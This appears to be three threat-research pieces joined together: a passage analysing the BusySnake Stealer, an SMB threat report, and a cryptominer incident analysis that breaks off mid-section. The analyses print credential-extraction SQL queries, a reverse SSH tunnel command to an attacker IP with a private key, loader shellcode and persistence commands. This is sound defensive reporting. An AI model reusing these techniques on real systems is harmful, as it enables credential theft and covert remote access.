User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 90
Content-Type: application/json
{"client_id": "DESKTOP-[redacted]", "command": "send_found_keys", "status": "ok", "note": ""}

Password exfiltration from Firefox and Chromium-based browsers

When BusySnake Stealer receives a C2 command to harvest passwords from Chromium-based browsers, it passes the task to the handle_extract_chromium_passwords function. The malware locates the specific browser data directory, verifies that it is not empty, and targets the Login State file, which contains the master key used to encrypt the local password database.

Locating the file containing the master key

The master key is protected via the Windows Data Protection API (DPAPI). By operating within the security context of the user who originally encrypted the key, the stealer is able to decrypt it using the win32crypt.CryptUnprotectData() function.

Master key decryption

Then, user accounts are extracted from the browser database via an SQL query, while passwords remain encrypted.

SELECT origin_url, username_value, password_value FROM logins

Next, the passwords are decrypted using a master key and saved in plaintext to the Roaming\WindowsHelper\chromium_passwords.json file.

For Firefox, the exfiltration workflow follows a similar logic. The stealer receives a command to extract browser credentials, which is then processed by the handle_extract_firefox_passwords function. The implant then scans the Mozilla\Firefox\Profiles directory and checks each user profile for the presence of both logins.json and key4.db. If either file is missing, the profile is skipped. The malware then parses the contents of logins.json, extracting the hostname, encryptedUsername, and encryptedPassword fields from each entry.

Credential extraction

The extracted data is placed into a SECItem structure. Upon calling the NSS_Init() function, the NSS library — which Firefox relies on — automatically initializes its built-in cryptographic module and accesses the key4.db database. If the database is not protected by a master password, the module loads the signing key stored within it. In this scenario, the PK11SDR_Decrypt() function can successfully decrypt the credentials without requiring any user prompts or additional steps. Thus, BusySnake Stealer exploits insecure Firefox browser practices: storing the database master key in plaintext and the lack of re-authentication when decrypting data with it.

Credential decryption

The decrypted credentials are saved directly to the Roaming\WindowsHelper\firefox_passwords.json file.

Cookie extraction

The stealer harvests cookies using a workflow nearly identical to its browser credential theft routine. Upon receiving the handle_collect_and_send_cookies command from the C2 server, the malware triggers the corresponding function. It then scans browser directories for the following database files: Cookies for Chromium-based browsers and cookies.sqlite for Firefox. Once located, it uses SQL queries to extract the cookies.

For Chromium-based browsers, the malware executes the following query:

SELECT host_key, name, value, encrypted_value, path, expires_utc FROM cookies

For Firefox, it uses this query:

SELECT host, name, value, path, expiry FROM moz_cookies

All harvested data is decrypted and saved to a file located at Roaming\WindowsHelper\all_browser_data.json, which is then exfiltrated to the C2 server and wiped from the host.

In addition to this method, the stealer fetches a supplementary module designed to extract cookies by installing a browser extension. Upon receiving the appropriate directive, the malware executes the handle_extract_cookies_v7_command function. It then pulls down the additional module as an archive from the Releases page of a GitHub repository, mirroring the initial staging process used by the stealer itself.

The source code of this secondary module is also protected with PyArmor. Once executed, the module spins up a local web server to capture and parse the cookies extracted from the browser. Next, the module creates the files for a browser extension used to steal cookies:

• manifest.json: details the extension structure and required permissions
• sw.js: contains the primary execution logic for the extension

Once these components are staged, the extension is installed into the browser.

Extension configuration file (manifest.json)

Extension execution logic (sw.js)

To ensure Google Chrome launches with the extension installed, the module uses specific arguments to start the browser.

Chrome execution parameters

Once active, the extension verifies the availability of the local web server initialized during the previous stage. If the server is responsive, the extension reads the cookie data, stores it in a cookiesData object, and transmits it to the following URL:

http://127.0.0.1:8000/?data_type=c

The local server processes the incoming payload, saves it to a file named extracted_cookies.json, and subsequently exfiltrates it to the C2 server.

Reverse SSH tunneling

The group previously used a Go-based tool for creating reverse SSH tunnels, named Go2Tunnel by researchers. BusySnake Stealer implements a similar feature as a built-in function.

The implant receives a directive from the C2 server to establish a reverse SSH tunnel, routing the task to the handle_start_proxy_command function. The stealer initially sends a request to the following URL, appending the victim’s unique machine identifier to the request parameters:

https://grked[.]online/tunnel/create/?username=[redacted]

If the configuration specifies an HTTP endpoint instead of HTTPS, the URL format adjusts as follows:

http://grked[.]online:8000/tunnel/create/?username=[redacted]

In response, the server returns data containing all the parameters required to establish the tunnel.

{"username":"[redacted]","socks_host":"159.198.32[.]222","socks_port":26380,"private_key":
"BEGIN OPENSSH PRIVATE KEY\								nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\nQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHwQ								sMTd5TjQRAAAAJhSGysYUhsr\nGAAAAAtzc2gtZWQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHwQsMTd5TjQRA\nAAAEDHFs74hGkvUfzK/gL								hfXdilmEnVbyD8V3Aqj5LRQdJJstw5hXZWmIGafop89wDvDmT\ngtfGcNJQfBCwxN3lONBEAAAAEXJvb3RAZjM3YzRjNjE4NjJjAQIDBA==\n
END OPENSSH PRIVATE KEY\n",
"ssh_command":"ssh -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -R 0.0.0.0:26380 [redacted]@159.198.32[.]222"}

The malware extracts the private key and the specific SSH command from this response. Using these components, it initiates a connection to a remote server controlled by the attackers, granting them persistent remote access and interactive control over the compromised host.

To close the tunnel, the stealer receives the handle_stop_proxy_command command and processes it with the function of the same name, after which the private key file is deleted and the associated SSH process is terminated.

New version of the BusySnake Stealer

During our infrastructure analysis of the threat actor, we uncovered a newer iteration of the stealer. The distribution method and static obfuscation mechanism remained unchanged; however, Armored Likho modified their TTPs and altered the code structure of BusySnake Stealer.

In the new version, instead of calling schtasks directly, the malware uses the win32com.client library to create scheduled tasks through interaction with the Schedule.Service COM object, indicating a shift toward less detectable execution methods.

Creating a scheduled task via the COM object

This approach ensures a more stealthy persistence mechanism. Furthermore, to bypass dynamic analysis mechanism, the authors added a function that pauses execution before triggering malicious routines.

We also observed refinements to the architectural design of BusySnake Stealer. The attackers built a new task-management framework to handle incoming C2 commands. Each task is assigned a unique identifier, and before execution, the stealer checks for the presence of this task in a specified list. To track execution states in real time, tasks are dynamically assigned one of four operational statuses: SCHEDULED, IN_PROGRESS, SUCCEEDED, or FAILED.

The introduction of task execution statuses resulted in an updated C2 communication schema. The updated endpoints and request packet structure are detailed in the table below:

One of the most significant architectural upgrades is the introduction of a dedicated class designed to execute arbitrary Python scripts. In this updated variant of the stealer, the poll_commands function is responsible for retrieving commands from the C2 server, while the poll_tasks routine is specifically dedicated to fetching Python scripts. Before running a retrieved script, the malware dynamically installs any required dependencies via pip. It then spawns a new process and executes the script’s code directly within memory without ever writing the file to disk — a technique intended to bypass security.

Attribution

We attribute this campaign to the Armored Likho threat group with medium confidence, basing our assessment on the analysis of the tools and network activity.

1. In previously identified campaigns, the group used the Go2Tunnel tool designed to create reverse SSH tunnels. In BusySnake Stealer, similar functionality is implemented as a built-in feature. Both tools receive a tunnel establishment command and a private SSH key from the C2 server, while making requests to similar endpoints. Furthermore, both payloads initiate their tunnels using SSH commands with an identical set of arguments:
   

   -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p {port}  -R 0.0.0.0:{port} {name}@{IPaddress}

2. The Armored Likho group has historically deployed the AquilaRAT remote access Trojan. It shares a similar structure with BusySnake Stealer: the malware receives tasks from the C2 server, and their execution is carried out by dedicated handlers. Additionally, BusySnake Stealer and AquilaRAT utilize similar endpoints for C2 communications — for example, when reporting task execution statuses back to the server:
   AquilaRAT
   

   /backup/update-subtask-status  
   {
        <..>
        'clientId': clientId,
        'subTasks': [
               <..>
              'taskItemId': taskItemId
        ]
   }

   
   BusySnake Stealer
   

   {Config.DASHBOARD_URL}/api/v1/client/{Config.CLIENT_ID}/tasks/{task_id}/

3. Another structural overlap is seen in their persistence mechanisms. Both BusySnake Stealer and AquilaRAT maintain their footprint on compromised hosts by registering scheduled tasks that masquerade as legitimate Microsoft system utilities. While AquilaRAT typically names its task MicrosoftOfficeUpdate, BusySnake Stealer uses the name WindowsHelper.

Victims

We continue to actively monitor the ongoing deployment campaigns of BusySnake Stealer, alongside its related artifacts and network infrastructure.
To date, confirmed victims have been identified across Russia, Kazakhstan, and Brazil. The attacks are primarily focused on the governmental and electrical power infrastructure sectors.

Takeaways

An analysis of Armored Likho’s campaigns over the past few months shows a trend toward using AI tools to generate first-stage payloads, as indicated by redundant comments and code blocks. This allows the group to broaden its available attack vectors.

In parallel, the group is aggressively refining and modifying its core toolkit. While Go2Tunnel previously operated as a standalone utility, its reverse-tunneling functionality has now been integrated directly into the stealer as a built-in feature that ingests parameters from the C2 server. Furthermore, the structural design of this newly discovered stealer shares pronounced architectural overlaps with AquilaRAT, another staple tool in the group’s arsenal.

At the time of writing, Armored Likho remains highly active. Despite the evolution of their malware variants and their efforts to obfuscate their TTPs, we continue to closely monitor the group’s footprint and detect emerging campaigns.

Detection by Kaspersky solutions

Kaspersky security solutions, including Kaspersky Endpoint Detection and Response Expert, successfully detect and block the malicious activity associated with these attacks.

Defensive solutions detect the threat actor’s activity at the initial stage when the LNK downloader is executed. Upon execution, the shortcut runs an obfuscated command via rundll32.exe, which subsequently triggers a PowerShell command to pull down the second-stage payload. This malicious chain of events is caught by the following detection rules:

• shell_creation_by_rundll32
• windows_command_shell_usage
• suspicious_powershell_cmd_or_script_spawning

Example of LNK downloader detection in KEDR

The Kaspersky Cloud Sandbox solution can be used for a comprehensive analysis of the malicious activity described here. The figure below shows the Kaspersky Cloud Sandbox interface, demonstrating the event chain of the obfuscated command execution by the LNK downloader.

LNK downloader execution graph in Kaspersky Cloud Sandbox

Additionally, inside Kaspersky Cloud Sandbox, it can be observed that during execution the stealer contacts remote URLs to download additional files, specifically a DOCX decoy document as well as the web_script.txt stager.

File downloads by the LNK downloader in Kaspersky Cloud Sandbox

If the EXE dropper is executed, Kaspersky Cloud Sandbox also records the downloading of additional tools from a GitHub repository.

EXE dropper execution graph in Kaspersky Cloud Sandbox

File downloads by the EXE dropper in Kaspersky Cloud Sandbox

Furthermore, dynamic analysis results show that the sample writes an additional file to the disk, which is used in subsequent stages of the attack.

Malicious file written to disk by the EXE dropper in Kaspersky Cloud Sandbox

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

First-stage malicious files

5D5C3E483C5E544260CE98FC29FBF192 PS1 stager
7141917CBA2EEE2B4D31107FACCF3A39 EXE stager
F5C6434EE5F7578FAA3BC1257E1C9226 EXE stager
C019797A00FD56EDB1F468AC0A598510 BAT stager
A0EC7A8E61EFF3F445A7455B3AEF9FBB BAT stager
F5C6434EE5F7578FAA3BC1257E1C9226 EXE stager
7DB9C688C620E54E8C69B7E52A7579FB BAT stager

90378881856ABFA47D7745C0A3EF9DC8 RAR archive with advanced cookie extractor module

1DBA3E505491A260A44C867902C3296E RAR archive with malicious DLL loader

1096268FA2B3D454C86CF851CB782319 EXE dropper
F2AB09D7E7A375A192508A5014AA2EE4 EXE dropper
0041FD1B2358CD08DBCBC28EA8FC3D20 EXE dropper

894332174F536C2E1EFEDA05CBA79F8B DLL loader
78135F72AB148A0CC074F6B2DD51FFF6 DLL loader
07213C419489C02791E8D67B91E404EF DLL loader

393B498F2114CABC0B29D5FCD9DC6723 LNK
CF74AC018D158EA2C2CFA1B1D71D95BC LNK
2DFA1D949872C1B2F04952DD3E5F5D8F LNK

BusySnake Stealer

C7622A1EFFA27BBFEE6D6E03D6474343 PYW BusySnake Stealer
80B7700053E115D65365CE7330383320 New PYW version of BusySnake Stealer
6B45DDB39A6E86229348DCBBA3857E7C RAR archive with BusySnake Stealer
006887732CA4A4A46A97989CF4DEEEF6 RAR archive with BusySnake Stealer
732C31ACF971A81C7E51B2A3DAE82020 RAR archive with BusySnake Stealer
DDFF82A115558584BBD7741D4FFB35B4 RAR archive with BusySnake Stealer
8188B2F347B77D65D08CFB23808AC244 RAR archive with BusySnake Stealer
E2550CFAD9DCC880BF04F6048F90868C RAR archive with BusySnake Stealer
FD2BDD8047ADDEE6FDE2F532DE181BFD RAR archive with BusySnake Stealer

С2

winupdate[.]live
arvax[.]xyz
varenie[.]live
lvl99[.]store
onetoken[.]ink
winupdate[.]ink
grked[.]online
ndrt[.]ink
myboard[.]chickenkiller.com
myboard[.]twilightparadox.com

159.198.41[.]140
159.198.75[.]219
159.198.32[.]222
69.67.173[.]153

Small and medium-sized businesses (SMBs) remain attractive targets for cybercriminals – in both mass cyberattacks and sophisticated campaigns targeting larger enterprises through trusted relationship attacks. At the same time, smaller businesses may lack the robust cybersecurity policies and necessary resources to protect themselves against an evolving threat landscape.

Kaspersky believes that raising awareness can help small and medium-sized enterprises develop an effective protection strategy. Ahead of International SMB Day on June 27, Kaspersky presents the findings of its 2026 threat analysis for SMBs, which includes real-world examples of attacks.

Key findings

• In the first four months of 2026, Kaspersky solutions detected over 33,300 cyberattacks on SMBs masquerading as popular artificial intelligence (AI) tools – almost five times more than in 2025 and 39% more than the number of attacks disguised as the office and collaboration tools that Kaspersky’s research focuses on.
• Popular messengers and communication services remained the attacker’s most widespread lure, with almost 415,000 attacks involving fake messenger apps and video conferencing software.
• The attackers follow trends: the AI tools Claude and OpenClaw (ex-ClawdBot/MoltBot), which have gained popularity in 2026, were among the common AI lures.
• Fraudsters use fake AI tools to scam businesses out of money, while corporate accounts on social media also remain targets.
• The majority of initial accesses to corporate infrastructures sold on the dark web are allegedly accesses to SMBs. This could be because SMBs tend not to be as well protected as large enterprises and, at the same time, may be trusted contractors for those well-protected enterprises.

Malware and potentially unwanted applications (PUAs) disguised as popular services

Kaspersky researchers used data from Kaspersky Security Network (KSN) to explore how frequently malicious and unwanted files are disguised as legitimate applications that may be used by SMBs. KSN is a system for processing anonymized cyberthreat-related data shared voluntarily by Kaspersky users. For this part of the report, only anonymized data received from users of Kaspersky solutions for SMBs were analyzed.

According to a survey by the Small Business & Entrepreneurship Council (SBE Council), small business owners continue to embrace artificial intelligence and digital transformation as they maintain a generally positive outlook on the economy. Threat actors are also aware of the hype surrounding AI and exploit it for their own benefit. In particular, they actively distribute cyberthreats under the guise of popular AI services.

From January to April 2026, Kaspersky solutions detected 33,352 attacks on SMB users in which malware or potentially unwanted applications for PCs were disguised as five popular AI services. This figure represents an increase of almost five times compared to the previous year. This highlights an evolving trend in which threat actors are weaponizing trust in widely used AI platforms and services, especially popular ones like Claude. Kaspersky experts note that it’s important to download apps from official sources and to verify which apps are available for which platforms.

In the first four months of 2026, Kaspersky researchers also identified more than 1,100 unique samples of malware and PUAs detected in the SMB sector that masqueraded as five popular AI applications, representing a 21% increase compared to the same period of 2025. The samples were mainly different types of Trojware (Trojans and Trojan-like malware), including those capable of downloading and running other malware on compromised devices. Trojware disguises itself as harmless files to trick users into installing them. Their functionality may vary depending on the particular type of Trojware. This may include stealing, deleting, blocking, modifying or copying users’ data, as well as other malicious actions. Trojware therefore represents a highly dangerous cyberthreat to entrepreneurs and businesses.

Kaspersky experts also note that the threat landscape is constantly evolving with new lures appearing all the time. For example, in the first four months of 2026, Kaspersky solutions blocked hundreds of attacks in which malware or PUAs for PCs were disguised as OpenClaw (previously known as Clawdbot or Moltbot).

Other lures for SMBs: Fake communication apps and office software

Kaspersky analysts also explored how attackers leverage other legitimate applications as lures to target SMBs. For example, from January to April 2026, Kaspersky solutions blocked 414,736 attacks on SMB users in which malicious software or PUAs for PCs were disguised as the popular communication apps that Kaspersky’s report focuses on. The number of attacks changed marginally compared to the previous year’s figure, indicating that the lure of fake communication apps remains a serious cyberthreat.

Various fake office applications and collaborative platforms also remain among the lures that attackers may exploit to target SMBs. According to Kaspersky telemetry, more than 24,000 attacks were detected from January to April 2026 in which malware or PUAs for PCs were disguised as specific office applications.

In 2026, AI-related baits have become more widespread among cybercriminals than traditional fake office and collaboration tools. Kaspersky experts note that the more publicity and hype there is around certain tools, the more likely a user is to come across a fake package online.

Scammers and phishers tricking victims into providing credentials and funds

In 2026, Kaspersky researchers observed a wide range of phishing campaigns and scams targeting businesses and entrepreneurs. Fraudsters mimic financial and AI services as well as other platforms in order to steal credentials, personal information and funds.

In the following example, fraudsters disguise themselves as a bank that allegedly offers services for businesses (in other similar schemes they may offer business loans). Entrepreneurs are prompted to visit a scam website and enter their data to open a business account. The requested information varies depending on the scam, but may include name, email address, phone number, social security number, date of birth and address. Scammers may then use this data in their schemes or sell it on the dark web.

Kaspersky experts advise: if you encounter such a website, you should not rush to enter any data. First, examine it. Does the purported financial organization actually exist? How old is the website? Check the WHOIS records and read user reviews before entering any information on the page.

Example of a scam page targeting entrepreneurs

As with many other cyberthreats, AI services are also leveraged as a lure in scams. For example, Kaspersky experts identified a scam website for an AI service “built for contractors”. According to the text on the fraudulent page, the tool can help with “estimates, invoices and schedule”. However, in reality, in such schemes victims usually receive nothing after paying for a subscription, while the scammers get all the money.

Example of a scam page promoting an AI tool

Kaspersky experts note that business accounts on social networks and messengers remain attractive targets for cybercriminals in 2026. In one scheme, phishers distributed notifications with fake alerts related to companies’ business pages. The notifications claimed that Facebook’s review system had detected behavior that seriously violated its Community Standards and Advertising Policies. To avoid permanent restriction of their business page on the social network, owners were prompted to fill out an appeal form and provide personal and business email addresses, phone numbers, as well as the name of their business page and the password for their social network account. The attackers’ goal was to obtain credentials. To reduce user vigilance  and appear legitimate, fraudsters also sent victims a fake appeal code.

Example of a fake notification

Email threats: Fake online documents and exploitation of legitimate platforms

Email remains one of the most widely used channels for cyberattacks targeting enterprises, including small and medium-sized businesses. In 2026, attackers have frequently combined email distribution with the exploitation of legitimate third-party platforms. This is how phishers and scammers usually attempt to bypass traditional email filters and exploit user trust in reputable services. Kaspersky researchers have also observed a large number of schemes targeting corporate users in which phishers and scammers use fake online documents or nonexistent meetings as bait.

In one recent scheme detected by Kaspersky, the attackers sent a fake notification disguised as a letter from OneDrive. The victim was prompted to access the document by clicking a button, but in reality, it led to a phishing website where users risked losing their confidential data. To make the email appear legitimate, the attackers added a phrase designed to  lower the victim’s vigilance: “This item is encrypted and hosted within your secure cloud perimeter.” They also parsed the recipient’s email address and used the extracted data in the fake notification text so that the email looked like a standard notification from this type of service: “[email address domain as company name] has successfully uploaded a new file for [the user’s name as stated in their email address].”

Example of a phishing scheme with fake online documents

Attackers also use other pretexts to trick victims into sharing confidential information, for example fake compliance issues. In the example below, the attackers posed as Apple representatives. The fake notification stated: “Apple has identified a compliance issue related to Google Ads campaigns directing traffic to Apple product detail pages associated with the victim’s seller account.” However, the button in the email led to a phishing website where users are tricked into sharing confidential data.

Example of a fake compliance issue notification

Kaspersky experts observed another notable two-stage scheme aimed at stealing credentials from corporate emails, which involved distributing an invitation to a nonexistent meeting. The scheme is deployed in two stages. In stage one, a corporate user receives an email about a fictitious meeting. After clicking the “Accept Meeting Invitation” button, the user is redirected to a legitimate Zoom Docs (previous Zoom canvas brand) page. In stage two, the victim is prompted to click a hyperlink that reads “Click Here to Accept Meeting”. However, the URL of a phishing page is hidden behind this hyperlink.

Example of an email with a fake meeting

Zoom Docs page containing the phishing link

Malware is also actively distributed via email. In 2025, individuals and corporate users encountered over 144 million malicious and potentially unwanted email attachments, representing a 15% increase from the previous year.

Kaspersky experts note that the lures used in subject lines and texts of malicious emails can appear relatively harmless and rather unsophisticated. In the example below, the attackers target businesses with a fake request for “the best quote for the items attached.” However, the attached file actually contains a Trojan.

Example of a malicious email

Corporate infrastructure access for sale: Posts on the dark web

To assess threat actor activity, Kaspersky Digital Footprint Intelligence experts analyzed hundreds of posts offering initial access to corporate infrastructures published on dark web forums from January to April of both 2025 and 2026. Kaspersky experts note that a single post may contain several offers for access to different allegedly compromised companies.

Example of a post on a darknet forum

Initial access brokers (IABs) sell initial access to compromised businesses, for example, via RDP or web shells. In their posts, IABs may provide information about the region where the allegedly compromised companies are located, their industry and revenue, as well as the type of access. IABs sell access that the buyers can then use for different purposes, including ransomware attacks, stealing corporate confidential information or other fraudulent activity. The price of initial access on dark web forums may depend on the revenue, industry or location of the allegedly compromised companies, or on the access privileges. For example, accounts with admin rights are usually more expensive because they can provide attackers with a wide range of possibilities.

According to the research, there were more posts offering initial access to companies of different sizes located in the Middle East (up 53% from last year), Africa (up 40%) and Latin America (up 17%). Meanwhile the number of posts related to companies located in Europe decreased by 34%. According to Kaspersky experts, this decline can be partially explained by the closure of a dark web forum containing such posts around the time of the study. The number of publications related to companies located in the APAC region also decreased slightly (down 4%), but remained at a consistently significant level for the second year in a row.
At the same time, the number of posts where the region was not specified decreased by 56% in 2026 compared to the previous year. Kaspersky analysts assume that this may indicate that initial access posts from IABs are becoming more targeted and unique.

Share of posts with initial access offers by business size

For this research, Kaspersky experts defined a small business as having an annual revenue of up to US$50 million, and a medium-sized business as having an annual revenue of between US$50 million and US$1 billion.

According to Kaspersky’s research, at the beginning of 2026 the share of posts on dark web forums with offers of initial access to allegedly compromised small businesses was larger than the shares of posts offering access to medium, large or nonprofit organizations. However, this share decreased in the first four months of 2026 compared to the same period in 2025. The share of posts concerning medium‑sized organizations also remained significant for two consecutive years. Taken together, posts concerning small and medium‑sized organizations account for more than half of all the analyzed posts with initial access offers on dark web forums.

At the same time for a certain number of posts initial access brokers didn’t indicate companies’ revenue, therefore, making it impossible to determine the size of the company.

Kaspersky experts note that despite the prevalence of posts concerning small businesses, threat actors may target medium‑sized businesses because they generate higher revenues than small businesses and may have weaker security defenses than large businesses.

SMBs can also become targets as a part of trusted relationship attacks, which enable the attackers to reach larger organizations. According to the Global Report by Kaspersky Security Services, the share of trusted relationship attacks among the initial vectors increased from 12.7% in 2024 to 15.5% in 2025. Therefore, the common belief that small and medium‑sized enterprises are of no interest to attackers is a misconception. Companies of all sizes need to understand the cyberthreat landscape, adhere to cybersecurity rules, implement appropriate cybersecurity solutions, and continuously improve employee awareness.

Cybersecurity action plan for SMBs

SMBs can reduce risks and ensure business continuity by investing in comprehensive cybersecurity solutions and increasing employee awareness. To protect themselves from the ever-evolving threat landscape, companies are advised to follow these rules:

1. Define access rules for corporate resources such as internet services, email accounts, shared folders, and online documents. Keep access lists up to date and revoke access promptly when employees leave the company.
2. Regularly back up important data to ensure the preservation of corporate information in case of emergencies.
3. Establish clear guidelines for using external services and resources. Create well-defined procedures for coordinating specific tasks, such as implementing new software, with the IT department and other responsible managers. Develop short, easy-to-understand cybersecurity guidelines for employees, with a special focus on account and password management, email protection, and safe web browsing. A well-rounded training program will equip employees with the necessary knowledge and ability to apply it in practice.
4. Raise employees’ security awareness. Conduct dedicated training to teach staff how to detect and address potential threats, and track their educational progress. Organizations can achieve this with the Kaspersky Automated Security Awareness Platform through interactive online modules and simulated phishing campaigns that build sustainable cyber hygiene habits across all teams.
5. Implement specialized cybersecurity solutions that fit your budget, size, and industry requirements, with an emphasis on scalability and ease of integration.
   1. Kaspersky Small Office Security Premium is an easy-to-use solution that protects against advanced threats and also provides access to security awareness training for employees, making it ideal for micro-businesses.
   2. Small and medium-sized enterprises with more mature IT expertise should consider Kaspersky Next Optimum, which is designed specifically for growing organizations and offers real-time protection, threat visibility, as well as EDR and XDR investigation and response capabilities.
6. Protect your business against email-borne threats. Kaspersky Security for Mail Server, a comprehensive email security platform that offers robust, multi-layered protection at mailbox and gateway levels, can help with this. Powered by machine learning and leading global threat intelligence, it effectively addresses all mail security challenges.
7. Adopt specialized solutions such as Kaspersky Digital Footprint Intelligence to monitor the surface, deep, and dark webs for information about a company’s credentials, leaked data, and lookalike websites. Small and medium-sized companies with limited IT security budgets can partner with a managed security service provider (MSSP) to access this comprehensive digital risk protection service at an affordable, subscription-based price point.

Introduction

In late April 2026, a client reached out to us for incident response support after discovering a miner running on users’ computers. We later discovered that the malware was being distributed via illegal movie and TV show streaming sites. The infection chain leveraged a fake update for a video player plugin. When the user attempted to watch a video, the player displayed a message saying the plugin version was outdated and asking to install an update to continue.

Clicking the link downloaded a ZIP archive with the following contents:

The archive contained a legitimate executable, HLS Installer.874.exe, alongside a malicious DLL. Launching the EXE triggered a DLL side-loading mechanism, injecting the malicious module into a legitimate program process and executing code within its context. The library contained the logic for deploying the miner and establishing persistence on the device.

At the time of the investigation, the infection risk was associated with two pirated video sites in the .ru and .top TLDs.

Link to previous campaigns

The current incident does not appear to be an isolated case. After analyzing the infection vector and the logic of the DLL, we concluded that this activity is a continuation of a campaign involving pirated digital libraries, which was previously described by another cybersecurity company.

The delivery mechanism for the malicious archive has remained virtually unchanged. Previously, the archive was downloaded in parts from the domain file[.]ipfs[.]us[.]69[.]mu, but this domain was unavailable at the time of our investigation. Instead, the threat actor employed a new website, urush1bar4[.]online.

The structure of the archive has also been preserved: inside is a legitimate executable and a large malicious DLL (see the screenshot below).

In the course of our research, we also discovered a blog post by NTT Security describing a similar delivery method for a malicious archive. In that instance, the threat actors displayed a fake browser crash page (shown below) while simultaneously downloading an archive to the device with a name starting with chromium-patch-nightly.

This scenario resembles the current scheme involving the fake video player plugin update. Given the previously described activity, it’s safe to assume that this campaign has been active since at least 2022. Throughout this entire period, the threat actor has been updating both the downloadable malware and individual parts of the infection mechanism.

Potential distribution scale

As in previous episodes of the campaign, infections occur via highly popular websites. As of late April 2026, sites linked to the campaign typically displayed extremely high monthly traffic. For instance, the audience for the smallest of the free digital libraries stood at 11,000 users, while the largest reached 4.7 million. For pirated movie and TV show streaming sites, this figure ranged from 2.1 million to 27.4 million. In April, the total number of visits to websites where the malware described in this study was detected reached 40 million.

The popularity of these sites increases the potential scale of the miner’s distribution. Furthermore, the campaign is not limited to a single type of platform: the malicious archive is being distributed through both online digital libraries and movie and TV show streaming sites. This broadens the potential range of victims and makes it more difficult to attribute the threat to a single infection vector.

The downloadable archive

The current version of the downloadable malware is a ZIP archive containing a legitimate EXE file and a malicious DLL. When the executable runs, the library side-loads into its process, triggering the malicious logic.

The technical analysis that follows covers the current version of this malware. This version was first observed in April 2025 and has been distributed unmodified for over a year.

DLL analysis

Most of the data inside the DLL carries no meaningful weight and was randomly generated just to inflate the file size and impede analysis.

Amidst the large volume of junk code inside the DLL, there is a single function that triggers a stack overflow during execution:

Based on the code, the size of the stackBuf buffer on the stack is only 64 bytes, and the SmashStack function overwrites this buffer without validating the length of the input data.

This overflow constructs a ROP chain that decrypts the next stage. After decryption, it transfers execution to code located within the modified DOS header of the PE file:

The header was intentionally modified to make it into valid shellcode:

pop     r10
push    r10
call    $+5
pop     rcx 
sub     rcx, 9
mov     rax, rcx
add     rax, 5C1000h
call    rax
retn

This shellcode passes control to a function located at offset 0x5C1000 from the base of the PE file. This function then reflectively loads the same PE file into memory.

Going forward, we will refer to this decrypted PE file as the main module.

Main module

The module’s behavior across its different operational stages is detailed below:

The main module is a modified fork of the SilentCryptoMiner project. We have previously analyzed miners leveraging this project in other posts: Scam Information and Event Management and Undercover miner: how YouTubers get pressed into distributing SilentCryptoMiner as a restriction bypass tool. However, this specific fork has not been documented anywhere before, which is why we decided to break down its unique features in detail in this article.

Upon an initial run, the main module checks whether it has permission to proceed with execution. To do this, it collects the following data from the victim’s device:

• Processor information
• The serial number of the C:/ drive
• Whether the process was launched with elevated privileges
• The process start time in Unix timestamp format

The information is transmitted as a single large DNS query using the DNS tunneling technique. An example of the DNS query is shown below:

The attackers disguise the DNS query as legitimate traffic through low-level packet crafting and by using a domain name ending in microsoft.com. However, the IP address to which the query is actually sent has no relation to Microsoft.

DNS query crafting code

The execution of the main module proceeds only if the following byte sequence is detected in the response: 01 02 03 04. Following a successful check, the main module launches, and the subsequent logic is adjusted depending on whether the process has elevated privileges on the compromised host.
Let’s look at both scenarios:

1. The process is launched with elevated privileges.

In this case, preparatory steps precede the miner launch:

• The malware adds Windows Defender exclusions for EXE and DLL files, as well as for the %USERPROFILE%, %PROGRAMDATA%, and %WINDIR% folders.
• It kills Microsoft’s Malicious Software Removal Tool (MSRT) by calling ZwSetInformationFile with the FileDispositionInformation type, which causes the mrt.exe file to be deleted upon closing. To prevent MSRT from being automatically installed during the next update, the DontOfferThroughWUAU parameter is created with a value of 1 under the HKLM\Software\Policies\Microsoft\MRT registry key.
• Automatic hibernation and sleep mode are disabled for when the device is running on both AC power and battery.

powercfg /x -hibernate-timeout-ac 0
powercfg /x -hibernate-timeout-dc 0
powercfg /x -standby-timeout-ac 0
powercfg /x -standby-timeout-dc 0

This is done to maximize the miner’s potential runtime on the device.

Next, to achieve persistence, a copy is created in the C:\ProgramData\Google\Chrome directory, after which the GoogleUpdateTaskMachineQC service is registered and configured to launch automatically at system startup.

Finally, four reflexive loads are executed: the components are injected directly into the memory of the target processes without writing to disk, having bypassed standard Windows loading mechanisms. Each implant is injected into its own host process:

• RAT agent → into conhost.exe
• Watchdog → into explorer.exe
• CPU miner → into explorer.exe
• GPU miner → into explorer.exe, but only if a discrete GPU is present in the system. This is verified by enumerating all display adapters in the system.

2. The process is launched with standard privileges.

In this scenario, the miner begins repeatedly triggering User Account Control (UAC) prompts until it is successfully executed with elevated privileges. The workflow is as follows:

1. Upon initial execution, a copy is made to the %USERPROFILE%\AppData\Roaming\Sandboxie directory and relaunched from there. Simultaneously, an attempt is made to launch it with elevated privileges via UAC.
2. If execution occurs from the Sandboxie folder:

• Persistence is configured for the miner copy in this folder by adding an entry to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
• Every three minutes, an attempt is made to launch with elevated privileges via UAC until the GoogleUpdateTaskMachineQC service is successfully installed.

A successful installation requires all of the following conditions to be met:

1. The GoogleUpdateTaskMachineQC service exists in the system.
2. The Start value for this service is set to 2 (Automatic).
3. The ImagePath value points to a file in the C:\ProgramData\Google\Chrome folder.
4. This file exists on disk.

Watchdog

